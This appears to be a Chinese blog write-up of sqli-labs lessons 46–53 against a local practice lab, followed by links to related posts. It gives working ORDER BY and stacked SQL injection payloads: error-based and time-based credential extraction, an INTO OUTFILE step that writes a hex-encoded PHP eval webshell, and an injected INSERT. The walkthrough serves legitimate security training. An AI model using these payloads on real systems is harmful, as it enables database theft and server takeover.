写在前面:

关于 order by

例: select * from users order by 1 ;   将users表中的第1列按照从小到大依次排列

   select * from users order by 2 ;   将users表中的第2列按照从小到大依次排列

   ...........

也可以在后面加desc或者asc指定降序或者升序

例: select * from users order by 1 desc  使用降序排列

right() 函数:

和之前盲注用的left函数类似,只是从右往左开始计数。

lines terminated xxx    文件以xxx为结尾

最后写好的文件会以666为结尾。

less 46

观察源码:

发现sql语句为:$sql = "SELECT * FROM users ORDER BY $id";

并且传入的值是sort 将sort赋值给id ,并且参数没有进行包裹

但是这里用union select  有错误 所以下面提供两个方法。

1.报错注入

利用updatexml函数进行报错注入

payload:?sort=1 and updatexml(1,   concat(0x7e,  (select concat_ws(0x7e,username,password) from security.users limit 0,1) ,0x7e)  ,1) --+

2.延时注入

?sort=1 and if (left(database(),1)>'a',1,sleep(5)) --+

如果执行成功返回1,执行失败延时5s

剩下的步骤就是挨个名称和字母进行猜解即可。

less 47

与less 46的区别是参数加了单引号包裹,其余步骤一样。

less 48

与less 46相比没有了错误回显,只能使用延时注入。

less 49

与less 48相比 同样没有错误回显,只能使用延时注入,但是注意参数有了单引号包裹。

以上。也可用 into outfile方法 例如:

http://127.0.0.1/sqli-labs-master/Less-49/?sort=3' into outfile "C:\\phpstudy1\\PHPTutorial\\WWW\\sqli-labs-master\\Less-49\\mmm.php" --+

可以导出文件,我们下面尝试使用一句话木马进行操作。

?sort=3'and (select '<?php @eval($_POST[zzw]);?>') into outfile "C:\\phpstudy1\\PHPTutorial\\WWW\\sqli-labs-master\\Less-49\\mmm.php" --+

执行后发现导出的文件和之前的txt的文件没什么区别:

所以这时候就需要用到 lines terminated by 0xXXXXXXXXXXXXXXX

这里将我们上面的一句话木马转换为十六进制。

构造payload为:

?sort=3' into outfile "C:\\phpstudy1\\PHPTutorial\\WWW\\sqli-labs-master\\Less-49\\less-49.php" lines terminated by 0x273c3f70687020406576616c28245f504f53545b7a7a775d293b3f3e27 --+

成功写入了一句话木马,之后连接中国菜刀即可。

从less 50 - less 53 结合了堆叠注入和基于order by 语句的注入

因为这几关使用了mysql_fetch_assoc()函数,这个可以针对多个语句的数据库查询

less 50

1.延时注入:

构造payload:

http://127.0.0.1/sqli-labs-master/Less-50/?sort=3 and if( left(database(),1)>'a',1,sleep(2))

如果正确返回1可以回显查询的表,错误会一直转圈,基本也是猜解

2.报错注入:

构造payload:

?sort=1 and updatexml(1,   concat(0x7e,  (select concat_ws(0x7e,username,password) from security.users limit 0,1) ,0x7e)  ,1) --+

3.使用一句话木马,原理和less 49一致

4.堆叠注入:

?sort=1;insert into users(id,username,password) values('50','less50','50') --+

less 51

与less 50不同的就是 参数被单引号包裹,并且也是有报错回显,注意闭合单引号即可。

less 52

与less 50不同的就是 参数没有被单引号包裹,没有错误回显不可以使用报错注入。注意闭合单引号即可,不再详细赘述

less 53

与less 52基本一致,只是参数被单引号包裹。不能使用报错注入

sqli-labs lesson 46-53的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  3. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  4. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  5. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  6. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  7. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  8. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  9. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

  10. Sqli labs系列-less-5&6 报错注入法(下)

    我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...

随机推荐

  1. 17 shell break与continue

    使用 while.until.for.select 循环时,如果想提前结束循环(在不满足结束条件的情况下结束循环),可以使用 break 或者 continue 关键字. 在C语言.Python.Ja ...

  2. buu 刮开有奖

    一.查壳, 二.拖入ida,分析 直接搜字符串完全没头绪,在看了大佬的wp才找到了,关键函数. 明显那个String就是我们要求的flag,要开始分析程序. 字符串长度为8,同时这个函数对字符串进行了 ...

  3. C预处理跨平台

    #include <stdio.h> //不同的平台下引入不同的头文件 #if _WIN32 //识别windows平台 #include <windows.h> #elif ...

  4. matlab——插值与拟合

    @ 目录 前言 一.拟合 1.定义 2.三种判别准则 3.最小二乘法 (1)一般形式 (2)常用函数 (3)matlab实现 二.插值 1.定义 2.方法 (1)分段线性插值 (2)拉格朗日插值多项式 ...

  5. Wordcloud(词云)安装使用以及vscode搭建虚拟环境

    (电脑烧掉了主板,地方上的所有门店全部关闭了,幸好现在京东还通物流,总算是进行把电脑拿回来了.对于一些东西无法实际操作真的是很难受,言归正传,说一下Wordcloud) Wordcloud安装(全局安 ...

  6. RPC远程协议之原理分析

    在近几年工作中发现,功能服务化或微服务化越来越流行,逐渐成为实现中大型分布式系统架构的主要方式,而在分布式系统中的不同节点应用间的通信中,RPC远程协议扮演关键作用.实际上,在日常工作中,我们也多多少 ...

  7. Spring总结之事务

    Spring事务 1)定义 事务是指多个操作单元组成的集合,多个操作单元是整体不可分割的,要么都成功,要么都不成功.必须遵守四个原则(ACID) ●原子性(Atomicity):即事务是不可分割的最小 ...

  8. P3643 [APIO2016]划艇

    P3643 [APIO2016]划艇 题意 一个合法序列可表示为一个长度为 \(n\) 的序列,其中第 \(i\) 个数可以为 0 或 \([l_i,r_i]\) 中一个整数,且满足所有不为零的数组成 ...

  9. 开发工具IDE从入门到爱不释手(三)运行与调试

    一.启动项目 右键运行 菜单运行 run窗口运行 启动参数 -D可覆盖,application.properties中的配置 如: 自动编译 二.调试项目 断点调试 蓝色背景的行,就是当前程序停住的行 ...

  10. 剖根问底:Java 不能实现真正泛型的原因是什么?

    大家好,我是二哥呀! 今天我来给大家讲一下,Java 不能实现真正泛型的原因是什么? 本文已同步至 GitHub <教妹学 Java>专栏,风趣幽默,通俗易懂,对 Java 初学者亲切友善 ...